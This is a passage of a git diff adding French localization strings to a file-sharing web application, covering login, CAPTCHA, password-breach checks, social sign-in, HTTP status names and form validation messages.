leaves this server — only the first five characters of its hash are sent.": "Vérifie les nouveaux mots de passe dans la base des fuites de Have I Been Pwned. Le mot de passe lui-même ne quitte jamais ce serveur : seuls les cinq premiers caractères de son hachage sont envoyés.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Vérifie la clé secrète auprès de votre fournisseur. Personne n'a de défi à résoudre.", + "Client ID": "ID client", + "Client registration": "Inscription des clients", + "Client secret": "Secret client", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Séparés par des virgules. Laissez vide pour autoriser toute adresse.", + "Comments from visitors": "Commentaires des visiteurs", + "Complete the security check and try again.": "Effectuez le contrôle de sécurité et réessayez.", + "Configure it myself": "Le configurer moi-même", + "Connected": "Connecté", + "Connected accounts": "Comptes connectés", + "Connected the :provider account of \":subject\"": "A connecté le compte :provider de « :subject »", + "Continue with :provider": "Continuer avec :provider", + "Could not reach :provider: :error": "Impossible de contacter :provider : :error", + "Created a client account from :provider on first sign-in": "A créé un compte client à partir de :provider lors de la première connexion", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "Les dates et heures dans toute l'application sont affichées dans ce fuseau. Détecté depuis votre navigateur lors de votre première connexion.", + "Default language": "Langue par défaut", + "Directory (tenant) ID": "ID de répertoire (locataire)", + "Disabled": "Désactivé", + "Disconnect": "Déconnecter", + "Disconnected the :provider account of \":subject\"": "A déconnecté le compte :provider de « :subject »", + "Downloaded :count time(s) so far. Your own downloads never count.": "Téléchargé :count fois jusqu'à présent. Vos propres téléchargements ne comptent jamais.", + "Download limit": "Limite de téléchargements", + "Download limit reached": "Limite de téléchargements atteinte", + "Each person separately": "Chaque personne séparément", + "Enabled": "Activé", + "Enter a secret key first.": "Saisissez d'abord une clé secrète.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Saisissez un ID de locataire précis. Les points de terminaison partagés « common », « organizations » et « consumers » permettent à n'importe quel locataire Microsoft d'affirmer n'importe quelle adresse e-mail.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "Toutes les langues installées sur ce serveur sont listées ci-dessous. Cochez celles que vous voulez proposer dans le menu des langues : l'équipe, les clients et les visiteurs publics ne verront que celles-là. Installer une autre langue revient à ajouter son fichier de traduction au dossier lang.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "Les mots de passe existants ne sont jamais revérifiés ; augmenter cette valeur n'affecte donc que les mots de passe choisis à partir de maintenant.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "Au total, pour tout le monde", + "Issuer URL": "URL de l'émetteur", + "Languages": "Langues", + "Language settings": "Paramètres de langue", + "Leave empty for a file that can be downloaded any number of times.": "Laissez vide pour un fichier téléchargeable un nombre illimité de fois.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "La longueur est le facteur le plus important pour la difficulté à deviner un mot de passe, c'est pourquoi il n'y a pas ici de règles du type « doit contenir une majuscule » : elles poussent les gens vers des substitutions prévisibles et des mots de passe plus courts.", + "Let people sign in with an account they already have somewhere else.": "Laissez les gens se connecter avec un compte qu'ils possèdent déjà ailleurs.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "Longueur minimale", + "No limit": "Aucune limite", + "None selected": "Aucun sélectionné", + "No sign-in providers have been set up for this site.": "Aucun fournisseur de connexion n'a été configuré pour ce site.", + "Not connected": "Non connecté", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Désactivé signifie qu'ils attendent dans les Demandes de compte. Une adresse que le fournisseur n'a pas vérifiée attend toujours, quoi que dise cette option.", + "Off — no CAPTCHA": "Désactivé — pas de CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "Ou continuez avec", + "Or sign up with": "Ou inscrivez-vous avec", + "Passwords": "Mots de passe", + "Passwords that appear in known data breaches are not accepted.": "Les mots de passe apparaissant dans des fuites de données connues ne sont pas acceptés.", + "Protection": "Protection", + "Protect these forms": "Protéger ces formulaires", + "Protect your public forms from automated abuse": "Protégez vos formulaires publics contre les abus automatisés", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "URI de redirection", + "Register this exact address with :provider. It must match character for character.": "Enregistrez exactement cette adresse auprès de :provider. Elle doit correspondre caractère par caractère.", + "Reject passwords found in known data breaches": "Rejeter les mots de passe trouvés dans des fuites de données connues", + "Removed two-factor authentication from \":subject\"": "A supprimé l'authentification à deux facteurs de « :subject »", + "Remove the limit": "Supprimer la limite", + "Remove two-factor authentication": "Supprimer l'authentification à deux facteurs", + "Remove two-factor authentication?": "Supprimer l'authentification à deux facteurs ?", + "Require a verified email address": "Exiger une adresse e-mail vérifiée", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Exécutez ces commandes en tant que l'utilisateur sous lequel tourne votre serveur web. INSTALL.md contient la procédure complète.", + "Score threshold": "Seuil de score", + "Search timezones…": "Rechercher des fuseaux horaires…", + "Security check failed. Please try again.": "Le contrôle de sécurité a échoué. Veuillez réessayer.", + "Service": "Service", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Définissez un mot de passe pour ce compte. Il n'en a jamais eu : il se connecte via un fournisseur associé, et un compte de l'équipe a besoin d'un identifiant que cette application peut vérifier par elle-même.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "Les visiteurs connectés n'ont jamais de défi à résoudre pour commenter.", + "Sign in": "Se connecter", + "Sign in with an account you already have somewhere else.": "Connectez-vous avec un compte que vous possédez déjà ailleurs.", + "Site key": "Clé du site", + "Social login": "Connexion sociale", + "Stored encrypted and never shown again, not even to you.": "Stocké chiffré et jamais affiché de nouveau, pas même à vous.", + "Stored — leave blank to keep it": "Enregistré — laissez vide pour le conserver", + "Testing…": "Test en cours…", + "Test keys": "Tester les clés", + "That :provider account is already connected to another account here.": "Ce compte :provider est déjà associé à un autre compte ici.", + "That sign-in could not be completed. Please try again.": "Cette connexion n'a pas pu aboutir. Veuillez réessayer.", + "That sign-in method is not available.": "Cette méthode de connexion n'est pas disponible.", + "The default language has to be one of the languages you are offering.": "La langue par défaut doit être l'une des langues que vous proposez.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "Les points de terminaison sont lus à partir de cette adresse, elle constitue donc toute la configuration. Doit être en https.", + "The expiry date must be in the future.": "La date d'expiration doit être dans le futur.", + "The issuer URL must start with https://.": "L'URL de l'émetteur doit commencer par https://.", + "The public key. It appears in your pages’ source, which is expected.": "La clé publique. Elle apparaît dans le code source de vos pages, ce qui est normal.", + "There is no account here for that address.": "Il n'existe aucun compte ici pour cette adresse.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "Le contrôle de sécurité n'a pas pu être chargé. Vérifiez que votre navigateur ou votre réseau ne le bloque pas, puis rechargez la page.", + "This account does not use an authenticator app.": "Ce compte n'utilise pas d'application d'authentification.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "Ce compte n'a jamais eu de mot de passe propre : il se connecte via un fournisseur associé. L'équipe a besoin d'un identifiant que cette application peut vérifier par elle-même, afin qu'une panne du fournisseur ne la bloque pas dehors.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "Ce compte se connecte avec une application d'authentification. Ne la supprimez que si le titulaire a perdu à la fois l'application et ses codes de récupération.", + "This file has reached its download limit.": "Ce fichier a atteint sa limite de téléchargements.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "C'est le seul moyen pour vous de vous connecter. Définissez d'abord un mot de passe, puis déconnectez :provider.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Ce site est protégé par reCAPTCHA et la Politique de confidentialité et les Conditions d'utilisation de Google s'appliquent.", + "Those files have reached their download limit.": "Ces fichiers ont atteint leur limite de téléchargements.", + "Timezone": "Fuseau horaire", + "To update, back up your database and files, then:": "Pour mettre à jour, sauvegardez votre base de données et vos fichiers, puis :", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Pour mettre à jour, suivez les étapes d'INSTALL.md : sauvegardez d'abord, puis décompressez la version et exécutez les migrations.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Ne désactivez ceci que si ce serveur ne doit faire aucune requête sortante. Si le service est injoignable, le mot de passe est accepté malgré tout, de sorte qu'une installation hors ligne n'est jamais bloquée par ce contrôle.", + "Two-factor authentication removed.": "Authentification à deux facteurs supprimée.", + "Two-factor authentication removed by an admin": "Authentification à deux facteurs supprimée par un administrateur", + "Two-factor authentication was removed by an administrator": "L'authentification à deux facteurs a été supprimée par un administrateur", + "Two-factor authentication was removed from your account": "L'authentification à deux facteurs a été supprimée de votre compte", + "Unexpected reply from :provider: :codes": "Réponse inattendue de :provider : :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "Utilisé pour toute personne n'ayant pas choisi son propre fuseau horaire, y compris les visiteurs de vos pages publiques et de vos liens partagés. Chaque compte peut définir le sien dans son profil.", + "Use ProjectSend’s protection": "Utiliser la protection de ProjectSend", + "Use your own reCAPTCHA or Turnstile account.": "Utilisez votre propre compte reCAPTCHA ou Turnstile.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "La vérification n'a pas pu être contactée récemment ; les formulaires protégés sont donc laissés passer sans contrôle. Personne n'est bloqué.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Nous protégeons vos formulaires publics pour vous. Rien à configurer, aucune clé à gérer.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "Ce que les gens voient avant d'avoir fait un choix. Un compte connecté conserve son propre choix, et un visiteur dont le navigateur demande l'une des langues ci-dessus obtient celle-là : ceci est la réponse pour tous les autres.", + "Which languages people can choose from": "Parmi quelles langues les gens peuvent choisir", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "Votre compte a été créé via l'un de ces fournisseurs et n'a pas de mot de passe propre ; la dernière connexion ne peut donc pas être supprimée. Définissez d'abord un mot de passe si vous voulez la déconnecter.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "Votre propre compte est réglé sur :timezone ; ceci ne changera donc pas l'affichage des dates pour vous.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "Votre propre locataire, pas « common ». Microsoft permet à un utilisateur de changer l'adresse e-mail de son compte ; une connexion n'est donc fiable que lorsque le jeton provient du locataire que vous avez indiqué ici.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "Votre fournisseur a rejeté la clé secrète de cette installation ; les formulaires protégés sont donc laissés passer sans contrôle. Vérifiez la clé secrète ci-dessous.", + "Your public forms are protected. You can switch to your own keys at any time.": "Vos formulaires publics sont protégés. Vous pouvez passer à vos propres clés à tout moment." +} diff --git a/lang/fr/actions.php b/lang/fr/actions.php new file mode 100644 index 00000000..b853eed5 --- /dev/null +++ b/lang/fr/actions.php @@ -0,0 +1,119 @@ + 'Accepter', + 'action' => 'Action', + 'actions' => 'Actions', + 'add' => 'Ajouter', + 'admin' => 'Administrateur', + 'agree' => 'Approuver', + 'archive' => 'Archiver', + 'assign' => 'Attribuer', + 'associate' => 'Associer', + 'attach' => 'Attacher', + 'browse' => 'Parcourir', + 'cancel' => 'Annuler', + 'choose' => 'Choisir', + 'choose_file' => 'Choisir le fichier', + 'choose_image' => 'Choisir une image', + 'click_to_copy' => 'Cliquer pour copier', + 'close' => 'Fermer', + 'collapse' => 'Réduire', + 'collapse_all' => 'Réduire tout', + 'comment' => 'Commentaire', + 'confirm' => 'Confirmer', + 'connect' => 'Connecter', + 'create' => 'Créer', + 'delete' => 'Supprimer', + 'detach' => 'Détacher', + 'details' => 'Détails', + 'disable' => 'Désactiver', + 'discard' => 'Jeter', + 'done' => 'Fait', + 'down' => 'Descendre', + 'duplicate' => 'Dupliquer', + 'edit' => 'Editer', + 'enable' => 'Activer', + 'expand' => 'Développer', + 'expand_all' => 'Développer tout', + 'explanation' => 'Explication', + 'export' => 'Exporter', + 'file' => 'Déposer', + 'files' => 'Fichiers', + 'go_home' => 'Aller à l\'accueil', + 'hide' => 'Cacher', + 'home' => 'Accueil', + 'image' => 'Image', + 'impersonate' => 'Imiter', + 'impersonation' => 'Imitation', + 'import' => 'Importer', + 'introduction' => 'Introduction', + 'like' => 'Aimer', + 'load' => 'Charger', + 'localize' => 'Localiser', + 'log_in' => 'Se connecter', + 'log_out' => 'Se déconnecter', + 'named' => [ + 'add' => 'Ajouter :name', + 'choose' => 'Choisir :name', + 'create' => 'Créer :name', + 'delete' => 'Supprimer :name', + 'duplicate' => 'Dupliquer :name', + 'edit' => 'Editer :name', + 'export' => 'Exporter :name', + 'hide' => 'Cacher :name', + 'import' => 'Importer :name', + 'new' => 'Nouveau :name', + 'restore' => 'Restaurer :name', + 'save' => 'Sauvegarder :name', + 'search' => 'Chercher :name', + 'show' => 'Afficher :name', + 'update' => 'Mettre à jour :name', + 'view' => 'Voir :name', + ], + 'new' => 'Nouveau', + 'no' => 'Non', + 'open' => 'Ouvrir', + 'open_website' => 'Ouvrir sur le site', + 'preview' => 'Aperçu', + 'price' => 'Prix', + 'record' => 'Enregistrer', + 'restore' => 'Restaurer', + 'save' => 'Sauvegarder', + 'save_and_close' => 'Sauvegarder et fermer', + 'save_and_return' => 'Sauvegarder et retourner', + 'search' => 'Chercher', + 'select' => 'Sélectionner', + 'select_all' => 'Tout sélectionner', + 'send' => 'Envoyer', + 'settings' => 'Paramètres', + 'show' => 'Montrer', + 'show_all' => 'Afficher tout', + 'sign_in' => 'Se connecter', + 'solve' => 'Résoudre', + 'start' => 'Commencer', + 'stop' => 'Arrêter', + 'submit' => 'Soumettre', + 'subscribe' => 'S\'abonner', + 'switch' => 'Changer', + 'switch_to_role' => 'Passer au rôle', + 'tag' => 'Mot clé', + 'tags' => 'Mots clés', + 'target_link' => [ + 'blank' => 'Ouvrir dans une nouvelle fenêtre', + 'parent' => 'Ouvrir dans la fenêtre parente', + 'self' => 'Ouvrir dans la fenêtre actuelle', + 'top' => 'Ouvrir dans le cadre le plus haut', + ], + 'translate' => 'Traduire', + 'translate_it' => 'Traduis le', + 'unpack' => 'Déballer', + 'unsubscribe' => 'Se désabonner', + 'up' => 'Monter', + 'update' => 'Mettre à jour', + 'user' => 'Utilisateur', + 'view' => 'Voir', + 'yes' => 'Oui', +]; diff --git a/lang/fr/auth.php b/lang/fr/auth.php new file mode 100644 index 00000000..a22cd3f7 --- /dev/null +++ b/lang/fr/auth.php @@ -0,0 +1,9 @@ + 'Ces identifiants ne correspondent pas à nos enregistrements.', + 'password' => 'Le mot de passe est incorrect', + 'throttle' => 'Tentatives de connexion trop nombreuses. Veuillez essayer de nouveau dans :seconds secondes.', +]; diff --git a/lang/fr/http-statuses.php b/lang/fr/http-statuses.php new file mode 100644 index 00000000..f7114082 --- /dev/null +++ b/lang/fr/http-statuses.php @@ -0,0 +1,84 @@ + 'Erreur inconnue', + '100' => 'Continuer', + '101' => 'Protocoles de commutation', + '102' => 'En traitement', + '200' => 'OK', + '201' => 'Créé', + '202' => 'Accepté', + '203' => 'Informations non certifiées', + '204' => 'Pas de contenu', + '205' => 'Réinitialiser le contenu', + '206' => 'Contenu partiel', + '207' => 'Statut multiple', + '208' => 'Déjà rapporté', + '226' => 'IM utilisé', + '300' => 'Choix multiples', + '301' => 'Déplacé de façon permanente', + '302' => 'A trouvé', + '303' => 'Voir autre', + '304' => 'Non modifié', + '305' => 'Utiliser un proxy', + '307' => 'Redirection temporaire', + '308' => 'Redirection permanente', + '400' => 'Requête invalide', + '401' => 'Non authentifié', + '402' => 'Paiement requis', + '403' => 'Interdit', + '404' => 'Page non trouvée', + '405' => 'Méthode non autorisée', + '406' => 'Non acceptable', + '407' => 'Authentification proxy requise', + '408' => 'Requête expirée', + '409' => 'Conflit', + '410' => 'Disparu', + '411' => 'Longueur requise', + '412' => 'La précondition a échoué', + '413' => 'Charge utile trop grande', + '414' => 'URI trop long', + '415' => 'Type de média non supporté', + '416' => 'Plage non satisfaisante', + '417' => 'Comportement attendu insatisfaisant', + '418' => 'Je suis une théière', + '419' => 'La session a expiré', + '421' => 'Demande mal dirigée', + '422' => 'Contenu non traitable', + '423' => 'Verrouillé', + '424' => 'Dépendance échouée', + '425' => 'Trop tôt', + '426' => 'Mise à niveau requise', + '428' => 'Condition préalable requise', + '429' => 'Trop de demandes', + '431' => 'Champs d\'en-tête de requête trop grands', + '444' => 'Connexion fermée sans réponse', + '449' => 'Réessayer avec', + '451' => 'Indisponible pour des raisons légales', + '499' => 'Demande fermée par le client', + '500' => 'Erreur interne du serveur', + '501' => 'Non implémenté', + '502' => 'Mauvaise passerelle', + '503' => 'Service non disponible', + '504' => 'Temps d\'attente de la passerelle dépassé', + '505' => 'Version HTTP non prise en charge', + '506' => 'La variante négocie également', + '507' => 'Espace insuffisant', + '508' => 'Boucle détectée', + '509' => 'Limite de bande passante dépassée', + '510' => 'Non prolongé', + '511' => 'Authentification réseau requise', + '520' => 'Erreur inconnue', + '521' => 'Le serveur Web est en panne', + '522' => 'La connexion a expiré', + '523' => 'L\'origine est inaccessible', + '524' => 'Un dépassement de délai s\'est produit', + '525' => 'Échec de la prise de contact SSL', + '526' => 'Certificat SSL invalide', + '527' => 'Erreur de Railgun', + '598' => 'Temps d\'attente de la lecture réseau dépassé', + '599' => 'Temps d\'attente de la connexion réseau dépassé', + 'unknownError' => 'Erreur inconnue', +]; diff --git a/lang/fr/pagination.php b/lang/fr/pagination.php new file mode 100644 index 00000000..225391eb --- /dev/null +++ b/lang/fr/pagination.php @@ -0,0 +1,8 @@ + 'Suivant »', + 'previous' => '« Précédent', +]; diff --git a/lang/fr/passwords.php b/lang/fr/passwords.php new file mode 100644 index 00000000..75ae1485 --- /dev/null +++ b/lang/fr/passwords.php @@ -0,0 +1,11 @@ + 'Votre mot de passe a été réinitialisé !', + 'sent' => 'Nous vous avons envoyé par email le lien de réinitialisation du mot de passe !', + 'throttled' => 'Veuillez patienter avant de réessayer.', + 'token' => 'Ce jeton de réinitialisation du mot de passe n\'est pas valide.', + 'user' => 'Aucun utilisateur n\'a été trouvé avec cette adresse email.', +]; diff --git a/lang/fr/validation.php b/lang/fr/validation.php new file mode 100644 index 00000000..652af8f2 --- /dev/null +++ b/lang/fr/validation.php @@ -0,0 +1,288 @@ + 'Le champ :attribute doit être accepté.', + 'accepted_if' => 'Le champ :attribute doit être accepté quand :other a la valeur :value.', + 'active_url' => 'Le champ :attribute n\'est pas une URL valide.', + 'after' => 'Le champ :attribute doit être une date postérieure au :date.', + 'after_or_equal' => 'Le champ :attribute doit être une date postérieure ou égale au :date.', + 'alpha' => 'Le champ :attribute doit contenir uniquement des lettres.', + 'alpha_dash' => 'Le champ :attribute doit contenir uniquement des lettres, des chiffres et des tirets.', + 'alpha_num' => 'Le champ :attribute doit contenir uniquement des chiffres et des lettres.', + 'any_of' => 'Le champ :attribute est invalide.', + 'array' => 'Le champ :attribute doit être un tableau.', + 'ascii' => 'Le champ :attribute ne doit contenir que des caractères alphanumériques et des symboles codés sur un octet.', + 'before' => 'Le champ :attribute doit être une date antérieure au :date.', + 'before_or_equal' => 'Le champ :attribute doit être une date antérieure ou égale au :date.', + 'between' => [ + 'array' => 'Le tableau :attribute doit contenir entre :min et :max éléments.', + 'file' => 'La taille du fichier de :attribute doit être comprise entre :min et :max kilo-octets.', + 'numeric' => 'La valeur de :attribute doit être comprise entre :min et :max.', + 'string' => 'Le texte :attribute doit contenir entre :min et :max caractères.', + ], + 'boolean' => 'Le champ :attribute doit être vrai ou faux.', + 'can' => 'Le champ :attribute contient une valeur non autorisée.', + 'confirmed' => 'Le champ de confirmation :attribute ne correspond pas.', + 'contains' => 'Le champ :attribute manque une valeur requise.', + 'current_password' => 'Le mot de passe est incorrect.', + 'date' => 'Le champ :attribute n\'est pas une date valide.', + 'date_equals' => 'Le champ :attribute doit être une date égale à :date.', + 'date_format' => 'Le champ :attribute ne correspond pas au format :format.', + 'decimal' => 'Le champ :attribute doit comporter :decimal décimales.', + 'declined' => 'Le champ :attribute doit être décliné.', + 'declined_if' => 'Le champ :attribute doit être décliné quand :other a la valeur :value.', + 'different' => 'Les champs :attribute et :other doivent être différents.', + 'digits' => 'Le champ :attribute doit contenir :digits chiffres.', + 'digits_between' => 'Le champ :attribute doit contenir entre :min et :max chiffres.', + 'dimensions' => 'La taille de l\'image :attribute n\'est pas conforme.', + 'distinct' => 'Le champ :attribute a une valeur en double.', + 'doesnt_contain' => 'Le champ :attribute ne doit contenir aucun des éléments suivants : :values.', + 'doesnt_end_with' => 'Le champ :attribute ne doit pas finir avec une des valeurs suivantes : :values.', + 'doesnt_start_with' => 'Le champ :attribute ne doit pas commencer avec une des valeurs suivantes : :values.', + 'email' => 'Le champ :attribute doit être une adresse e-mail valide.', + 'encoding' => 'The :attribute field must be encoded in :encoding.', + 'ends_with' => 'Le champ :attribute doit se terminer par une des valeurs suivantes : :values', + 'enum' => 'Le champ :attribute sélectionné est invalide.', + 'exists' => 'Le champ :attribute sélectionné est invalide.', + 'extensions' => 'Le champ :attribute doit avoir l\'une des extensions suivantes : :values.', + 'file' => 'Le champ :attribute doit être un fichier.', + 'filled' => 'Le champ :attribute doit avoir une valeur.', + 'gt' => [ + 'array' => 'Le tableau :attribute doit contenir plus de :value éléments.', + 'file' => 'La taille du fichier de :attribute doit être supérieure à :value kilo-octets.', + 'numeric' => 'La valeur de :attribute doit être supérieure à :value.', + 'string' => 'Le texte :attribute doit contenir plus de :value caractères.', + ], + 'gte' => [ + 'array' => 'Le tableau :attribute doit contenir au moins :value éléments.', + 'file' => 'La taille du fichier de :attribute doit être supérieure ou égale à :value kilo-octets.', + 'numeric' => 'La valeur de :attribute doit être supérieure ou égale à :value.', + 'string' => 'Le texte :attribute doit contenir au moins :value caractères.', + ], + 'hex_color' => 'Le champ :attribute doit être une couleur hexadécimale valide.', + 'image' => 'Le champ :attribute doit être une image.', + 'in' => 'Le champ :attribute est invalide.', + 'in_array' => 'Le champ :attribute n\'existe pas dans :other.', + 'in_array_keys' => 'Le champ :attribute doit contenir au moins l\'une des clés suivantes : :values.', + 'integer' => 'Le champ :attribute doit être un entier.', + 'ip' => 'Le champ :attribute doit être une adresse IP valide.', + 'ipv4' => 'Le champ :attribute doit être une adresse IPv4 valide.', + 'ipv6' => 'Le champ :attribute doit être une adresse IPv6 valide.', + 'json' => 'Le champ :attribute doit être un document JSON valide.', + 'list' => 'Le champ :attribute doit être une liste.', + 'lowercase' => 'Le champ :attribute doit être en minuscules.', + 'lt' => [ + 'array' => 'Le tableau :attribute doit contenir moins de :value éléments.', + 'file' => 'La taille du fichier de :attribute doit être inférieure à :value kilo-octets.', + 'numeric' => 'La valeur de :attribute doit être inférieure à :value.', + 'string' => 'Le texte :attribute doit contenir moins de :value caractères.', + ], + 'lte' => [ + 'array' => 'Le tableau :attribute doit contenir au plus :value éléments.', + 'file' => 'La taille du fichier de :attribute doit être inférieure ou égale à :value kilo-octets.', + 'numeric' => 'La valeur de :attribute doit être inférieure ou égale à :value.', + 'string' => 'Le texte :attribute doit contenir au plus :value caractères.', + ], + 'mac_address' => 'Le champ :attribute doit être une adresse MAC valide.', + 'max' => [ + 'array' => 'Le tableau :attribute ne peut pas contenir plus que :max éléments.', + 'file' => 'La taille du fichier de :attribute ne peut pas dépasser :max kilo-octets.', + 'numeric' => 'La valeur de :attribute ne peut pas être supérieure à :max.', + 'string' => 'Le texte de :attribute ne peut pas contenir plus de :max caractères.', + ], + 'max_digits' => 'Le champ :attribute ne doit pas avoir plus de :max chiffres.', + 'mimes' => 'Le champ :attribute doit être un fichier de type : :values.', + 'mimetypes' => 'Le champ :attribute doit être un fichier de type : :values.', + 'min' => [ + 'array' => 'Le tableau :attribute doit contenir au moins :min éléments.', + 'file' => 'La taille du fichier de :attribute doit être supérieure ou égale à :min kilo-octets.', + 'numeric' => 'La valeur de :attribute doit être supérieure ou égale à :min.', + 'string' => 'Le texte de :attribute doit contenir au moins :min caractères.', + ], + 'min_digits' => 'Le champ :attribute doit avoir au moins :min chiffres.', + 'missing' => 'Le champ :attribute doit être manquant.', + 'missing_if' => 'Le champ :attribute doit être manquant quand :other a la valeur :value.', + 'missing_unless' => 'Le champ :attribute doit être manquant sauf si :other a la valeur :value.', + 'missing_with' => 'Le champ :attribute doit être manquant quand :values est présent.', + 'missing_with_all' => 'Le champ :attribute doit être manquant quand :values sont présents.', + 'multiple_of' => 'La valeur de :attribute doit être un multiple de :value', + 'not_in' => 'Le champ :attribute sélectionné n\'est pas valide.', + 'not_regex' => 'Le format du champ :attribute n\'est pas valide.', + 'numeric' => 'Le champ :attribute doit contenir un nombre.', + 'password' => [ + 'letters' => 'Le champ :attribute doit contenir au moins une lettre.', + 'mixed' => 'Le champ :attribute doit contenir au moins une majuscule et une minuscule.', + 'numbers' => 'Le champ :attribute doit contenir au moins un chiffre.', + 'symbols' => 'Le champ :attribute doit contenir au moins un symbole.', + 'uncompromised' => 'La valeur du champ :attribute est apparue dans une fuite de données. Veuillez choisir une valeur différente.', + ], + 'present' => 'Le champ :attribute doit être présent.', + 'present_if' => 'Le champ :attribute doit être présent lorsque :other est :value.', + 'present_unless' => 'Le champ :attribute doit être présent sauf si :other vaut :value.', + 'present_with' => 'Le champ :attribute doit être présent lorsque :values est présent.', + 'present_with_all' => 'Le champ :attribute doit être présent lorsque :values sont présents.', + 'prohibited' => 'Le champ :attribute est interdit.', + 'prohibited_if' => 'Le champ :attribute est interdit quand :other a la valeur :value.', + 'prohibited_if_accepted' => 'Le champ :attribute est interdit quand :other a été accepté.', + 'prohibited_if_declined' => 'Le champ :attribute est interdit quand :other a été refusé.', + 'prohibited_unless' => 'Le champ :attribute est interdit à moins que :other est l\'une des valeurs :values.', + 'prohibits' => 'Le champ :attribute interdit :other d\'être présent.', + 'regex' => 'Le format du champ :attribute est invalide.', + 'required' => 'Le champ :attribute est obligatoire.', + 'required_array_keys' => 'Le champ :attribute doit contenir des entrées pour : :values.', + 'required_if' => 'Le champ :attribute est obligatoire quand la valeur de :other est :value.', + 'required_if_accepted' => 'Le champ :attribute est obligatoire quand le champ :other a été accepté.', + 'required_if_declined' => 'Le champ :attribute est obligatoire quand le champ :other a été refusé.', + 'required_unless' => 'Le champ :attribute est obligatoire sauf si :other est :values.', + 'required_with' => 'Le champ :attribute est obligatoire quand :values est présent.', + 'required_with_all' => 'Le champ :attribute est obligatoire quand :values sont présents.', + 'required_without' => 'Le champ :attribute est obligatoire quand :values n\'est pas présent.', + 'required_without_all' => 'Le champ :attribute est requis quand aucun de :values n\'est présent.', + 'same' => 'Les champs :attribute et :other doivent être identiques.', + 'size' => [ + 'array' => 'Le tableau :attribute doit contenir :size éléments.', + 'file' => 'La taille du fichier de :attribute doit être de :size kilo-octets.', + 'numeric' => 'La valeur de :attribute doit être :size.', + 'string' => 'Le texte de :attribute doit contenir :size caractères.', + ], + 'starts_with' => 'Le champ :attribute doit commencer avec une des valeurs suivantes : :values', + 'string' => 'Le champ :attribute doit être une chaîne de caractères.', + 'timezone' => 'Le champ :attribute doit être un fuseau horaire valide.', + 'ulid' => 'Le champ :attribute doit être un ULID valide.', + 'unique' => 'La valeur du champ :attribute est déjà utilisée.', + 'uploaded' => 'Le fichier du champ :attribute n\'a pu être téléversé.', + 'uppercase' => 'Le champ :attribute doit être en majuscules.', + 'url' => 'Le format de l\'URL de :attribute n\'est pas valide.', + 'uuid' => 'Le champ :attribute doit être un UUID valide', + 'attributes' => [ + 'address' => 'adresse', + 'affiliate_url' => 'URL d\'affiliation', + 'age' => 'âge', + 'amount' => 'montant', + 'announcement' => 'annonce', + 'area' => 'zone', + 'audience_prize' => 'prix du public', + 'audience_winner' => 'gagnant du public', + 'available' => 'disponible', + 'birthday' => 'anniversaire', + 'body' => 'corps', + 'city' => 'ville', + 'color' => 'color', + 'company' => 'entreprise', + 'compilation' => 'compilation', + 'concept' => 'concept', + 'conditions' => 'conditions', + 'content' => 'contenu', + 'contest' => 'contest', + 'country' => 'pays', + 'cover' => 'couverture', + 'created_at' => 'date de création', + 'creator' => 'créateur', + 'currency' => 'devise', + 'current_password' => 'mot de passe actuel', + 'customer' => 'client', + 'date' => 'date', + 'date_of_birth' => 'date de naissance', + 'dates' => 'rendez-vous', + 'day' => 'jour', + 'deleted_at' => 'date de suppression', + 'description' => 'description', + 'display_type' => 'type d\'affichage', + 'district' => 'quartier', + 'duration' => 'durée', + 'email' => 'adresse e-mail', + 'excerpt' => 'extrait', + 'filter' => 'filtre', + 'finished_at' => 'date de fin', + 'first_name' => 'prénom', + 'gender' => 'genre', + 'grand_prize' => 'grand prix', + 'group' => 'groupe', + 'hour' => 'heure', + 'image' => 'image', + 'image_desktop' => 'image de bureau', + 'image_main' => 'image principale', + 'image_mobile' => 'image mobile', + 'images' => 'images', + 'is_audience_winner' => 'est le gagnant du public', + 'is_hidden' => 'est caché', + 'is_subscribed' => 'est abonné', + 'is_visible' => 'est visible', + 'is_winner' => 'est gagnant', + 'items' => 'articles', + 'key' => 'clé', + 'last_name' => 'nom de famille', + 'lesson' => 'leçon', + 'line_address_1' => 'ligne d\'adresse 1', + 